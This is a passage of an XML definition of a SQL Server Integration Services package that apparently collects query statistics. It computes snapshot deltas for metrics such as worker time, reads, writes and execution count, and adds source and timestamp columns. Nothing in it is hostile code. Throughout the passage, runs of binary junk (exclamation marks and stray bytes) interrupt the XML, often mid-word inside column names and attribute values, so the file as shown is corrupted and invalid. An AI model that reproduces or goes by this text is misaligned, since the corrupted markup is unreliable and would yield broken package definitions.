text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and	!!!!!!!!!!!!!!!!!!!!!!!!`:P>Hv current snapshot for every metric.Inputs[Derived Column Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[old_execution_count]" cachedDataType="i8" cachedName="old_execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_execution_count]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_worker_time]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[s	!!!!!!!!!!!!!!!!!!!!!!!!`:	~"Hvnapshot_worker_time]" name="snapshot_worker_time" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_worker_time]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_worker_time]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_total_worker_time) ? total_worker_time : total_worker_time - old_total_worker_time</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_physical_reads]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_physical_reads]" name="snapshot_physical_reads" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_physical_reads]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_physical_reads]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_total_physical_reads) ? total_physical_reads : total_physical_reads - old_total_physical_reads</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_reads]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Cre	!!!!!!!!!!!!!!!!!!!!!!!!`:
zcHvate Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_reads]" name="snapshot_logical_reads" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_reads]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_reads]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_total_logical_reads) ? total_logical_reads : total_logical_reads - old_total_logical_reads</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_writes]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_writes]" name="snapshot_logical_writes" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_writes]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_writes]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_total_logical_writes) ? total_logical_writes : total_logical_writes - old_total_logical_writes</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_clr_time]" dataTy	!!!!!!!!!!!!!!!!!!!!!!!!`:p/0lHvpe="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_clr_time]" name="snapshot_clr_time" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_clr_time]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_clr_time]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_total_clr_time) ? total_clr_time : total_clr_time - old_total_clr_time</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_elapsed_time]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_elapsed_time]" name="snapshot_elapsed_time" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_elapsed_time]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_elapsed_time]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_total_elapsed_time) ? total_elapsed_time : total_elapsed_time - old_total_elapsed_time</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snap	!!!!!!!!!!!!!!!!!!!!!!!!`:hOHvshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_execution_count]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_execution_count]" name="snapshot_execution_count" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_execution_count]}) ? #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]} : #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]} - #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_execution_count]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(old_execution_count) ? execution_count : execution_count - old_execution_count</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create In	!!!!!!!!!!!!!!!!!!!!!!!!`:-CHvteresting Queries Upload Batch\DRV - Add plan_generation_num column" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add plan_generation_num column" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output].Columns[plan_generation_num]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output].Columns[plan_generation_num]" name="plan_generation_num" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">(DT_I8)1</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">(DT_I8)1</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output].Columns[creation_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output].Columns[creation_time]" name="creation_time" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[GETDATE]()</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">GETDATE()</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_ge	!!!!!!!!!!!!!!!!!!!!!!!!`:S;ՏHvneration_num column.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1)" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add source_id (1)" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Output].Columns[source_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Output].Columns[source_id]" name="source_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SourceId]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SourceId]</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Error Output].	!!!!!!!!!!!!!!!!!!!!!!!!`:3HvColumns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2)" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add source_id (2)" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Output].Columns[source_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Output].Columns[source_id]" name="source_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SourceId]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SourceId]</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics 	!!!!!!!!!!!!!!!!!!!!!!!!`:	>Hvand query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot" componentClassID="{EC139FBC-694E-490B-8EA7-35690FB0F445}" contactInfo="Multicast;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Creates copies of a dataset." name="MLTCST - split current snapshot"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Inputs[Multicast Input 1]" name="Multicast Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 3]" deleteOutputOnPathDetached="true" name="Multicast Output 3" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 2]" deleteOutputOnPathDetached="true" name="Multicast Output 2" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 1]" deleteOutputOnPathDetached="true" name="Multicast Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 4]" dangling="true" deleteOutputOnPathDetached="true" name="Multicast Output 4" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries" componentClassID="{EC139FBC-694E-490B-8EA7-35690FB0F445}" contactInfo="Multicast;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; 